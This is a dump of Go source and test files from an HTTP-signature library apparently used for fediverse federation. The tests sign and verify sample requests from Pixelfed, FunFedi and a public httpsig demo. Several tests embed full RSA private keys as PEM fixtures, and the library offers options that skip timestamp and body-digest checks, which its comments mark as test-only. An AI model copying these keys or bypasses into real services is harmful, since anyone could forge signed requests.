20 | // accept from remote servers when they create a "Digest"
21 | // http header. ALL recognized digests must be valid to
22 | // pass, and AT LEAST ONE of the algorithms must be from
23 | // this list.
24 | func VerifierBodyDigests(digests ...crypto.Hash) VerifierOption {
25 | return func(verifier *Verifier) {
26 | verifier.BodyDigests = digests
27 | }
28 | }
29 |
30 | // VerifierSignatureHashes sets the hashing algorithms to use
31 | // when validating the "Signature" header. Hashes are tried
32 | // in order, and the FIRST successful match returns success.
33 | // If ALL hash attempts fail, then validation fails.
34 | func VerifierSignatureHashes(hashes ...crypto.Hash) VerifierOption {
35 | return func(verifier *Verifier) {
36 | verifier.SignatureHashes = hashes
37 | }
38 | }
39 |
40 | // VerifierTimeout sets the maximum age of a request and
41 | // signature (in seconds). Messages received after this
42 | // time duration will be rejected.
43 | // Default is 43200 seconds (12 hours).
44 | func VerifierTimeout(seconds int) VerifierOption {
45 | return func(verifier *Verifier) {
46 | verifier.Timeout = seconds
47 | }
48 | }
49 |
50 | // VerifierIgnoreTimeout sets the verifier to ignore
51 | // message and signature time stamps. This is useful
52 | // for testing signatures, but should not be used in
53 | // production.
54 | func VerifierIgnoreTimeout() VerifierOption {
55 | return func(verifier *Verifier) {
56 | verifier.Timeout = 0
57 | }
58 | }
59 |
60 | // VerifierIgnoreBodyDigest sets the verifier to ignore
61 | // the "Digest" header. This is useful for testing
62 | // but should not be used in production.
63 | func VerifierIgnoreBodyDigest() VerifierOption {
64 | return func(verifier *Verifier) {
65 | verifier.CheckDigest = false
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/sigs/verifier_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bytes"
5 | "crypto"
6 | "crypto/rand"
7 | "crypto/rsa"
8 | "crypto/sha256"
9 | "crypto/sha512"
10 | "net/http"
11 | "testing"
12 |
13 | "github.com/benpate/derp"
14 | "github.com/stretchr/testify/require"
15 | )
16 |
17 | func TestVerify_Manual(t *testing.T) {
18 |
19 | // Create a new Request
20 | var body bytes.Buffer
21 | body.WriteString("This is the body of the request")
22 |
23 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", &body)
24 | require.Nil(t, err)
25 | request.Header.Set("Content-Type", "text/plain")
26 |
27 | // Create a Private Key to sign the request
28 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
29 | require.Nil(t, err)
30 |
31 | // Sign the Request
32 | err = Sign(request, "test-key", privateKey)
33 | require.Nil(t, err)
34 |
35 | require.Equal(t, "SHA-256=65F8+S1Bg7oPQS/fIxVg4x7PoLWnOxWlGMFB/hafojg=", request.Header.Get("Digest"))
36 | require.NotEmpty(t, request.Header.Get("Signature"))
37 |
38 | // Verify the Request
39 | keyFinder := func(keyID string) (string, error) {
40 | return EncodePublicPEM(privateKey), nil
41 | }
42 |
43 | err = Verify(request, keyFinder)
44 | require.Nil(t, err)
45 | }
46 |
47 | func TestSignAndVerify_RSA_SHA256(t *testing.T) {
48 |
49 | // Create an RSA key
50 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
51 | require.Nil(t, err)
52 |
53 | // Create a test digest
54 | digest := sha256.Sum256([]byte("this is the message"))
55 |
56 | // Sign the digest
57 | signature, err := makeSignedDigest(digest[:], crypto.SHA256, privateKey)
58 | require.Nil(t, err)
59 |
60 | err = verifySignature(&privateKey.PublicKey, crypto.SHA256, digest[:], signature)
61 | require.Nil(t, err)
62 | }
63 |
64 | func TestSignAndVerify_RSA_SHA512(t *testing.T) {
65 |
66 | // Create an RSA key
67 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
68 | require.Nil(t, err)
69 |
70 | // Create a test digest
71 | digest := sha512.Sum512([]byte("this is the message"))
72 |
73 | // Sign the digest
74 | signature, err := makeSignedDigest(digest[:], crypto.SHA512, privateKey)
75 | require.Nil(t, err)
76 |
77 | err = verifySignature(&privateKey.PublicKey, crypto.SHA512, digest[:], signature)
78 | require.Nil(t, err)
79 | }
80 |
81 | func TestSignAndVerify_Emissary(t *testing.T) {
82 |
83 | privateKey, publicKey := getTestKeys()
84 | require.NotNil(t, privateKey)
85 | require.NotNil(t, publicKey)
86 |
87 | plaintextSignature := removeTabs(
88 | `(request-target): post /@63f3c38ab0d6029bf1c915c9/pub/inbox
89 | host: 127.0.0.1
90 | date: Sat, 02 Sep 2023 15:29:05 GMT
91 | digest: SHA-256=VgRwIlTTedMmiNk71Zlod3Bq6gXOzJNIRlUXenyNdLw=`)
92 |
93 | hashedSignature, err := makeSignatureHash(plaintextSignature, crypto.SHA256)
94 | require.Nil(t, err)
95 |
96 | signedSignature, err := makeSignedDigest(hashedSignature, crypto.SHA256, privateKey)
97 | require.Nil(t, err)
98 |
99 | derp.Report(verifyHashAndSignature(plaintextSignature, crypto.SHA256, publicKey, signedSignature))
100 | }
101 |
102 | func getTestKeys() (crypto.PrivateKey, crypto.PublicKey) {
103 |
104 | privateKeyPEM := removeTabs(
105 | `-----BEGIN RSA PRIVATE KEY-----
106 | MIIEpQIBAAKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy
107 | 4a0MhZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKom
108 | mbULjAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B
109 | 7C0y+QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+w
110 | c0+fhQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlI
111 | xNoh9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQABAoIBAGANotG4AguxqU/W
112 | ttkFEiqVWLBCFHfQlOingtCKN6kLGJdvi1Gy9gYpziWbcZeU/TGXGxwCi6UuEtsW
113 | 9x/4sXKf+11YIrSAVqOzXrrMLqcOLjHEkITrca/I3oJrlbRN+kVWOm525lEghuOZ
114 | NKhPYAE7HCg1rDg5JanH1lrfhsUnxF7XXhR48+8T1iifd31DpY6M3FAP4fGSdsOA
115 | 23bW7VG/nOwKrZ/V6ij0F3KvJ5dCOc1tw5SwhlTH9kuEoMq8Uy0i+3ngNkv7e0qJ
116 | k2/0B7nc6B6HP+nsswN3KoY4qKvPfktZDZeowmcNrJOBiw0N3PBrOIOI5UjkwBUN
117 | TOfnRUECgYEA1J1WMeag0Mr3d/rVRVqTXlwEkF7T9s7+MAPfJ5vF6u5ndrZdwy6g
118 | 6WdbiJMkUbAH1QFQ1q7MTNoo9L72dRkS5cnSwv7WLBC2Oy3ZpsBT9Lc9SZ7GAj/X
119 | 9x3XstBBIGkPMAfva/OCACPKd3Z84gTeDNTU+cYghv+EYhLd7UKhQ1kCgYEA9Nu3
120 | bpS2FguZ/CwkmRQTgTGAGysETjgLFHDxODEZPKBkTpnAf49In+Vx6BixZ6xqRWe9
121 | lSnlF20x8+pUOqhMpfnwxx+OEMayr4dGMDhDj6pQ+D8ETEOQ9PXqyuyyHq8FfIAH
122 | kdXddjCS8SSreBMgzjUZjn/md+ArA6UMN9T1LekCgYEAop/13hVZzFpzDwJ9Pp8Z
123 | OYOIuiTOXGnXY0KS3ej4acoQuWykKzbvPZghG0Xw8cqDMxnei1cITYBQ82NdgBO9
124 | sKW+4AesKeheesWHRVS24ueFqVoYen/64Lmi0tMX/YJea46mQxvuw8ycgOPQgdDX
125 | R1lDzgkNuDSZParQtTnRv4ECgYEAq/3RgPkwVZfcl8ciBeyWLr9obqzun0q6badP
126 | qNrEEVPQYW2aS3+H0djHA/KkWmA/XXUbM7Vz19q5pc1JUNJ61HMV76h4j8wiIy1v
127 | 3dsHidhme5k4GaG0Jny+ab+M9gSWY/dCWevRXX2NGZlaYEN/XZjq1K9+YWGylSLP
128 | zD/n4FECgYEAssvQs++XNyNi1YQvUOX0oZjKH1l9sx/JdE+O+UYsvOsCMRXPfLu4
129 | ipiwM6zWyC/tumuDlM9qReAKcqBtSNUOHcd9Tbs5zTUvm3RbhqUdgMPZfVG/O9qp
130 | 7FXferRokfJyjJpo7SW8K57HKPJ4aNMpa1yhG+uZ1rXzqvjD6zwRvto=
131 | -----END RSA PRIVATE KEY-----`)
132 |
133 | privateKey, err := DecodePrivatePEM(privateKeyPEM)
134 |
135 | if err != nil {
136 | panic(err)
137 | }
138 |
139 | testPrivateKey := privateKey.(*rsa.PrivateKey)
140 | testPublicKeyPEM := EncodePublicPEM(testPrivateKey)
141 |
142 | /* sent via browser??
143 | publicKeyPEM := removeTabs(
144 | `-----BEGIN RSA PUBLIC KEY-----
145 | MEgCQQDbLVt+d4EGWdMOgG6lS2xvhP6kbb0OgdkG26jmqWfUCqzYhyuhoL3JgijV
146 | N+Y0Jbb4iEU2aQXMNHM+Rq1bfkLTAgMBAAE=
147 | -----END RSA PUBLIC KEY-----`)
148 | */
149 |
150 | // in database
151 | publicKeyPEM := removeTabs(
152 | `-----BEGIN RSA PUBLIC KEY-----
153 | MIIBCgKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy4a0M
154 | hZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKommbUL
155 | jAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B7C0y
156 | +QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+wc0+f
157 | hQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlIxNoh
158 | 9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQAB
159 | -----END RSA PUBLIC KEY-----
160 | `)
161 |
162 | if publicKeyPEM != testPublicKeyPEM {
163 | panic("Public PEMs do not match")
164 | }
165 |
166 | publicKey, err := DecodePublicPEM(publicKeyPEM)
167 |
168 | if err != nil {
169 | panic(err)
170 | }
171 |
172 | return privateKey, publicKey
173 | }
174 |
--------------------------------------------------------------------------------
/sigs/x_dinochiesa_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bufio"
5 | "net/http"
6 | "strings"
7 | "testing"
8 |
9 | "github.com/stretchr/testify/require"
10 | )
11 |
12 | // Sample transactions from - https://dinochiesa.github.io/httpsig/
13 | func TestVerify_Dino1(t *testing.T) {
14 |
15 | requestString := removeTabs(
16 | `GET /foo HTTP/1.1
17 | Host: example.org
18 | x-request-id: 00000000-0000-0000-0000-000000000004
19 | tpp-redirect-uri: https://www.sometpp.com/redirect/
20 | digest: SHA-256=TGGHcPGLechhcNo4gndoKUvCBhWaQOPgtoVDIpxc6J4=
21 | psu-id: 1337
22 | Signature: keyId="abcdefg-123", algorithm="rsa-sha256", headers="x-request-id tpp-redirect-uri digest psu-id", signature="XRUrq4Jm88DiL8EPbp2EP1033F1H0GXhOoO+GJtBee9Or7X8oMXabPdQIS1GCrAqGpXPK3Dod4M20RsshUJ+aDPhhTaDLIpu6veFjvN3ks6rMlrFjsHNM9IIeQGyFcDp8ByohxOwb7KxzOcQgrvAUPdtBj6HuMjMU0ymDRgxkIwM+joM6ptG38bpKntDLdfbktZRppM/GTsyPnd79u6eWCOXOwis7KyMHUFWDvZ3c5LnHTEG4jYynAuKW3sbc1tCxUtlrLrJyh0HhsUigrPGhLjGQPbHbUGej0AcowYBILXbe7CPhKJegEwmWeMNK/L1CZT5pmmh4aG3lKL/3BqGaw=="
23 |
24 | `)
25 |
26 | requestReader := bufio.NewReader(strings.NewReader(requestString))
27 | request, err := http.ReadRequest(requestReader)
28 | require.Nil(t, err)
29 |
30 | keyFinder := func(keyID string) (string, error) {
31 | return removeTabs(`-----BEGIN PUBLIC KEY-----
32 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtHiuMUfXZ+H7ruDYDfNZ
33 | OYD1PChkSZJoHgoS/3qrue/O3QM7UEos9sWR2yQ3xH5VdLMx0jR9yaPQfe6bS0C5
34 | ZziR4FA3VQ2nVCSYZNbaZGEms81yXS6qMhE/kbIjbYBm5DFWKYIPllH2IXMSiaGA
35 | Wd9LQHI5or7m/tfzgYBIAgErztb9oz456GHPsiAJnkSbLYP+cRMobUn+NY/stYSK
36 | Nq/Q+Ld9Q5ewj5qg7ps1f9LQ5kEDRaZY5pXvMjk9qfGI02hvxprRtXmC/zSiOUI6
37 | yO5EHO6Yg4b8+/9sELdIuGqDRg7uINfgddMAF9EXif4MkFCgiJnvT0xro6M7mgLx
38 | lwIDAQAB
39 | -----END PUBLIC KEY-----`), nil
40 | }
41 |
42 | err = Verify(request, keyFinder, VerifierFields("x-request-id", "tpp-redirect-uri", "digest", "psu-id"), VerifierIgnoreTimeout(), VerifierIgnoreBodyDigest())
43 | require.Nil(t, err)
44 | }
45 |
46 | func TestVerify_Dino2(t *testing.T) {
47 |
48 | requestString := removeTabs(
49 | `GET /foo HTTP/1.1
50 | Host: example.org
51 | x-request-id: 00000000-0000-0000-0000-000000000004
52 | tpp-redirect-uri: https://www.sometpp.com/redirect/
53 | digest: SHA-256=TGGHcPGLechhcNo4gndoKUvCBhWaQOPgtoVDIpxc6J4=
54 | psu-id: 1337
55 | Signature: keyId="abcdefg-123", algorithm="rsa-sha256", headers="x-request-id tpp-redirect-uri digest psu-id", signature="zNEg4c1B01I5NaimvAF+/ZY1gtHge38NPTungOyKZSr2drIjm1KbvZxMl7krrzpUkkzp1Kt0GDKbiv5bsqbI/j15wyhgJmuZF6QvDip29SyAZwO83MuUF2vH66MeXVR6wZ8RvNDwYRoDjwGQ8DOadmQfM3ew2ySDuUT+/FUliFHH+SMZZKH5Ee0x4tdmLopvKdIu39OSHh0AvwpRZhGqLDNdCG0VjLVKdgCKFwKsb9f84PtU47PW3kTlHxUUuQ5vjwazmARjvHKyXRpKBkGJJBUlNEHqCdt54pxTd8YsmJPbcmUMmmiMwEWFanyy2JX9i8JgFXTf6pAGX0FpBqMhjQ=="
56 |
57 | `)
58 |
59 | requestReader := bufio.NewReader(strings.NewReader(requestString))
60 | request, err := http.ReadRequest(requestReader)
61 | require.Nil(t, err)
62 |
63 | keyFinder := func(keyID string) (string, error) {
64 | return removeTabs(
65 | `-----BEGIN PUBLIC KEY-----
66 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4wCAxz92RHsFI6F6c1nP
67 | 2HDkRJxo0Ub8QSomgeOdqPWZGQg0n2x7OCH5oJT9bur0mxiWLOiC607BmD8zaamE
68 | QTSgaz+VLfBcn5LQ73E+O8UB3tJr4k4JgD0eCmUmJ1nMNp+ArhgOZrYcbezt9BsE
69 | vR77YUlSXs6LnCVa5niGTRwmJMOeljP1lEIoUVRnOlWD9ZBCtApnZvHPLV6tQnpf
70 | 36G7fMXXPINyg9lw/GmQWcI+PHqUDRYgea3u5Q1NLau1GZqP0vn+NyWMI9Ma3nZx
71 | Nz51N02SnsUepzH7TjUPPfPlHc1uItaQgCGBaJUAdMmQbaM+Ww69y4TXUZEW22kp
72 | hQIDAQAB
73 | -----END PUBLIC KEY-----`), nil
74 | }
75 |
76 | err = Verify(request, keyFinder, VerifierFields("x-request-id", "tpp-redirect-uri", "digest", "psu-id"), VerifierIgnoreTimeout(), VerifierIgnoreBodyDigest())
77 | require.Nil(t, err)
78 | }
79 |
80 | func TestSign_Dino(t *testing.T) {
81 |
82 | requestString := removeTabs(
83 | `GET /foo HTTP/1.1
84 | Host: example.org
85 | x-request-id: 00000000-0000-0000-0000-000000000004
86 | tpp-redirect-uri: https://www.sometpp.com/redirect/
87 | psu-id: 1337
88 |
89 | `)
90 |
91 | requestReader := bufio.NewReader(strings.NewReader(requestString))
92 | request, err := http.ReadRequest(requestReader)
93 | require.Nil(t, err)
94 |
95 | privateKeyPEM := removeTabs(`-----BEGIN PRIVATE KEY-----
96 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuQ/0EvPOxk0Hp
97 | Yu92Es3hjJuhbLUC80WTdIv5HVqwubaMOvxPoTnWbqXBMbcv38oh5HB0b4RQQuoi
98 | R78cLx1410wE+uOtF+ViU6bhZhUOozE7xxISgF3Mi1k0Hzi5/EVNvyIS8gnsRmvq
99 | wtk0ntBwwJQqwdcKZI8kQwShujr4GkO8EHgIhT4MbV+lIHUr7mcRiBhC4GEiNLbv
100 | EfG+EJOquKacHyX+L+3Unnhnt81WlkcnVfY1d4j7ISDi2C46GuMudL3GKRBqJrZZ
101 | OTdUoljNjc5P8AHmeDcXXhHhlLidblX4+X7kGvvm1pRrewyq+mdYDk82iVqmc4cM
102 | bdfvH1dxAgMBAAECggEACVjhuy2UZ6+1nxpcrEllbCXx2hZ93g7k6jwb3uyVZvnL
103 | Ihnu2ymTc95C+0oaoJGBItDBPGmX4AM60kRlapJXYxovPGwlpqzrs5q3jor+cabM
104 | tv9eR4pFnblSu1I6ZXVz1S/9mKUNZbRASRsS8fjbxtR5jhKQIYFT0TbcCn21+IU/
105 | Xk9I75jTXwFyrs5vG+FdE2cJ6cbXDKQF/Tx66dQZJd8Ow7VBSXLJ0nZcFojyDXs4
106 | MntrZ5aygsE20EQPX3j541UrcShGtnHnFyL2KQF8Xn0SW7o9kCyNVKkvwMVT663i
107 | neCd5hraSZPGYGEgWdGc8zwg4y0Uefm4Om6NjXnXjQKBgQDoXyUYtDhwpbKZT9Ao
108 | unVqR1NqC+bDqS+rm8gu48KYx7z62rND4GKpSKlx8ilhuCDyYLZti3AymRDsokQH
109 | 9ETB6AJy9+tirzR8l8eorSpYl6XPt4cso7b8pmgbpVgwfuYKJqGDTuIVxa4x5QMI
110 | 7/+oHCVDoe6t06P17pigMZCR3QKBgQC//El2mwyXOzrAfRq0hkQshp2GvRCasEVS
111 | T7Ql+3UkyCHEWeqsQ+unGQsbHOgwkBLbpv18rwvTwXdykv1x9FG5nzdyhr8sAwj7
112 | JBmnRYal2qj+TOsra2tihCYpEhUxJZeotbAi2yvMVg+b/dkOWUS32nIhY0RrmqqO
113 | gIJckeNkpQKBgA7IJqr4o/J+h+r6ycodemSlXugLE8X0mES5ZzWcZX+kjSAEE41I
114 | 093i8mx+NCW0OdxRTKmRSjTdydbTx7Id1tXi9Wzs2ntvm84lNZ1ETsJN+01IZn/v
115 | di+CQnMnxIFpQSb6KCIbPYSXC6q+37+MzN2b1L8FqRJDuVVmtSzTmle9AoGBALvl
116 | Yczn8MmuWVD83/8gjWZ6lX/CWJbcv+vQQAMQeNT33jx6uDfC/cb7tqfhgcnNp/c8
117 | F0lJVKz54zrKa6x0ruuZzT2UbVPY4JhS+5x/akm2mMDSbTOAnYe8yFBX90+zeBvR
118 | PkLO+K2y6PIF3sKxUZUTAbJ1oggiRpzTX0LUMZZVAoGBAI1kx5P6LcLN+JS+Xe/m
119 | MAat7Swyr4MPy/nwi/pNy0p3jABrzu24EYBeuf0yF5Qo0PYfsejbr6sa2fs8lpkx
120 | 0xDM4SRfk/OhNlxg/8oMjVGKD6AIXLCyThAw+RFyTrkO2vUrTm29zYEAtaVVAfgc
121 | oUzfO75tQ/QHU3ZvtVnEERXh
122 | -----END PRIVATE KEY-----`)
123 |
124 | privateKey, err := DecodePrivatePEM(privateKeyPEM)
125 | require.Nil(t, err)
126 |
127 | err = Sign(request, "abcdefg-123", privateKey, SignerFields("x-request-id", "tpp-redirect-uri", "psu-id"))
128 | require.Nil(t, err)
129 | require.Equal(t, `keyId="abcdefg-123",algorithm="rsa-sha256",headers="x-request-id tpp-redirect-uri psu-id",signature="ik5wHHA4LP23hOw+tg4doz0150JzU3RFfPu7zX6i76wGLEUeh7jP+zbjpQrTHVnrcJEE0qTBmQySgZODxpMmOIZPGjOanTVV2FVypVmEuyoTT+yqHymgqlJt8SUEko+jhbboQ+o184HWP17ZuWH7+vBZoQWKN1nglZa5Bkef4/1JWmTrwTAmp9mWqfVJp1X5fzaM8gqXdO103KW/Znb/sK3fuMnLjZNNw7oaeSRUSFxv9i9hKgHSdUFV0YglxWvOtFhagHQ4gp9nKikjSIPUppdjlHB7/VVXVqAKvLRaomL7pWO4RVH18hLdPHLrzeezMJLOJnxgzB4i1KG01xu3zw=="`, request.Header.Get("Signature"))
130 | }
131 |
--------------------------------------------------------------------------------
/sigs/x_funfedi_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bufio"
5 | "crypto"
6 | "net/http"
7 | "strings"
8 | "testing"
9 |
10 | "github.com/stretchr/testify/require"
11 | )
12 |
13 | func TestFunFedi(t *testing.T) {
14 |
15 | // From transactions sent by https://verify.funfedi.dev/
16 | // FunFedi is a test suite that uses different capitalization for the Digest header (sha-256 instead of SHA-256)
17 | // This test ensures that the Digest header is case-insensitive.
18 |
19 | // zerolog.SetGlobalLevel(zerolog.TraceLevel)
20 |
21 | /*
22 | ------------------------------------------
23 | HANNIBAL: Receiving Activity: /@64d68054a4bf39a519f27c67/pub/inbox
24 | Headers:
25 | Digest: sha-256=27p0TuEIcJbNLBjv/RQFROHFxe0K74PK2exvfyHkkDQ=
26 | Content-Type: application/activity+json
27 | Signature: keyId="https://verify.funfedi.dev/bob#main",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="b2k1vPoLJpuCk1MmAEk6pfWi5G8SFALBqOjywUNdOEiC9SeTEPULCDi5quLPqzlvsSoD+jHipzTlETYwnen9wkwYqKzBlp5sTMbdKEXI1L6dzE4mmqMqE5zCGgzJqAlK59Z7PQZGTegJ/qAXjywBPcJC7TB4yD9JpbNPBJ6DcqBk3wGMh0rTxMNg4m9Wj90lrmYF+fqNxUkUHPdXxG7TxlaiQ18Z5RWZoXGv0+lOpNrhRU44J9Dl98aiKnhm+xoRrE+QUBKLEmKpwJU+bBsd1R7s9IV6P2JjYL2paOWIOveaNt41GcPHUc5g5aUkQfmMbWVeWv6VM7lTzpfO3e93Ww=="
28 | Accept: application/activity+json
29 | Accept-Encoding: gzip, deflate
30 | Content-Length: 207
31 | User-Agent: bovine/0.5.3
32 | Date: Tue, 05 Dec 2023 21:22:25 GMT
33 |
34 | Body:
35 | {"@context": "https://www.w3.org/ns/activitystreams", "type": "Like", "actor": "https://verify.funfedi.dev/bob", "id": "https://verify.funfedi.dev/bobOEFNNp884mw", "object": "https://verify.funfedi.dev/bob"}
36 |
37 | 2:22PM TRC ascache.Client.loadByURI: FOUND uri=https://verify.funfedi.dev/bob
38 | ------------------------------------------
39 | hannibal.pub.validateRequest
40 | (map[string]interface {}) (len=9) {
41 | (string) (len=4) "type": (string) (len=6) "Person",
42 | (string) (len=8) "@context": (primitive.A) (len=2 cap=2) {
43 | (string) (len=37) "https://www.w3.org/ns/activitystreams",
44 | (string) (len=28) "https://w3id.org/security/v1"
45 | },
46 | (string) (len=17) "preferredUsername": (string) (len=3) "bob",
47 | (string) (len=9) "publicKey": (mapof.Any) (len=3) {
48 | (string) (len=2) "id": (string) (len=35) "https://verify.funfedi.dev/bob#main",
49 | (string) (len=5) "owner": (string) (len=30) "https://verify.funfedi.dev/bob",
50 | (string) (len=12) "publicKeyPem": (string) (len=451) "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q\naHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV\nysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK\nm0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e\nQWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD\ne0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw\n3wIDAQAB\n-----END PUBLIC KEY-----\n"
51 | },
52 | (string) (len=7) "summary": (string) (len=88) "user_part=bob\nrequires_signed_get_for_actor=False,\nrequires_signed_post_for_inbox=True,\n",
53 | (string) (len=2) "id": (string) (len=30) "https://verify.funfedi.dev/bob",
54 | (string) (len=5) "inbox": (string) (len=36) "https://verify.funfedi.dev/bob/inbox",
55 | (string) (len=6) "outbox": (string) (len=30) "https://verify.funfedi.dev/bob",
56 | (string) (len=4) "name": (string) (len=10) "Test Actor"
57 | }
58 | PEM: -----BEGIN PUBLIC KEY-----
59 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q
60 | aHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV
61 | ysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK
62 | m0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e
63 | QWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD
64 | e0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw
65 | 3wIDAQAB
66 | -----END PUBLIC KEY-----
67 | */
68 |
69 | rawHTTP := removeTabs(
70 | `POST /@64d68054a4bf39a519f27c67/pub/inbox HTTP/1.1
71 | Host: emdev.ddns.net
72 | Digest: sha-256=27p0TuEIcJbNLBjv/RQFROHFxe0K74PK2exvfyHkkDQ=
73 | Content-Type: application/activity+json
74 | Signature: keyId="https://verify.funfedi.dev/bob#main",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="b2k1vPoLJpuCk1MmAEk6pfWi5G8SFALBqOjywUNdOEiC9SeTEPULCDi5quLPqzlvsSoD+jHipzTlETYwnen9wkwYqKzBlp5sTMbdKEXI1L6dzE4mmqMqE5zCGgzJqAlK59Z7PQZGTegJ/qAXjywBPcJC7TB4yD9JpbNPBJ6DcqBk3wGMh0rTxMNg4m9Wj90lrmYF+fqNxUkUHPdXxG7TxlaiQ18Z5RWZoXGv0+lOpNrhRU44J9Dl98aiKnhm+xoRrE+QUBKLEmKpwJU+bBsd1R7s9IV6P2JjYL2paOWIOveaNt41GcPHUc5g5aUkQfmMbWVeWv6VM7lTzpfO3e93Ww=="
75 | Accept: */*
76 | Accept-Encoding: gzip, deflate
77 | Content-Length: 207
78 | User-Agent: bovine/0.5.3
79 | Date: Tue, 05 Dec 2023 21:22:25 GMT
80 |
81 | {"@context": "https://www.w3.org/ns/activitystreams", "type": "Like", "actor": "https://verify.funfedi.dev/bob", "id": "https://verify.funfedi.dev/bobOEFNNp884mw", "object": "https://verify.funfedi.dev/bob"}
82 | `)
83 |
84 | keyFinder := func(keyID string) (string, error) {
85 | return "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q\naHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV\nysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK\nm0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e\nQWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD\ne0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw\n3wIDAQAB\n-----END PUBLIC KEY-----", nil
86 | }
87 |
88 | // Make a new request
89 | request, err := http.ReadRequest(bufio.NewReader(strings.NewReader(rawHTTP)))
90 | require.Nil(t, err)
91 |
92 | err = VerifyDigest(request, crypto.SHA256)
93 | require.Nil(t, err)
94 |
95 | // Verify the request
96 | err = Verify(request, keyFinder, VerifierIgnoreTimeout())
97 | require.Nil(t, err)
98 |
99 | }
100 |
--------------------------------------------------------------------------------
/sigs/x_pixelfed_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "net/http"
7 | "testing"
8 |
9 | "github.com/stretchr/testify/require"
10 | )
11 |
12 | func Test_PixelFed(t *testing.T) {
13 |
14 | raw := removeTabs(`POST /@64d68054a4bf39a519f27c67/pub/inbox HTTP/1.1
15 | Host: emdev.ddns.net
16 | Accept: */*
17 | Date: Sun, 10 Sep 2023 01:12:22 GMT
18 | Digest: SHA-256=CjcIHEJJriyG8aC9K7mayMOi0drhBb2i4fvGI0t8phk=
19 | Content-Type: application/ld+json; profile="https://www.w3.org/ns/activitystreams"
20 | User-Agent: (Pixelfed/0.11.9; +https://pixelfed.social)
21 | Signature: keyId="https://pixelfed.social/users/benpate#main-key",headers="(request-target) host date digest content-type user-agent",algorithm="rsa-sha256",signature="cxaG7js7JxV5jvnHPqZQhLbIS47BX53A79DGNmVeKUYWQJk5sbsIgC+xvYxc7mZan2yI3EKNyrV/X61hAX1DyexeoGzGSAOmTnC0OdrniaWb3T71Supnej/1In0EuiL0+IXgqOH1AncwnZnYODBYOFOYgtoh2jWlmqKI8uE/L3iKP1nIhN8mUOf//6AqkkwNjz4PmPJ6nS1+gGckszjD1zxjFv2ncgo4rY4izSGVFdAU4QSA8ds3W6qIvha4nRoYeH8ZSzQjaIrM2owa62KgguonbBUa0NGNQHC5RxySj8Kzhw/AmIccKaJw7ythHAH9Km/zDflOVWZ62uurlv7Ikg=="
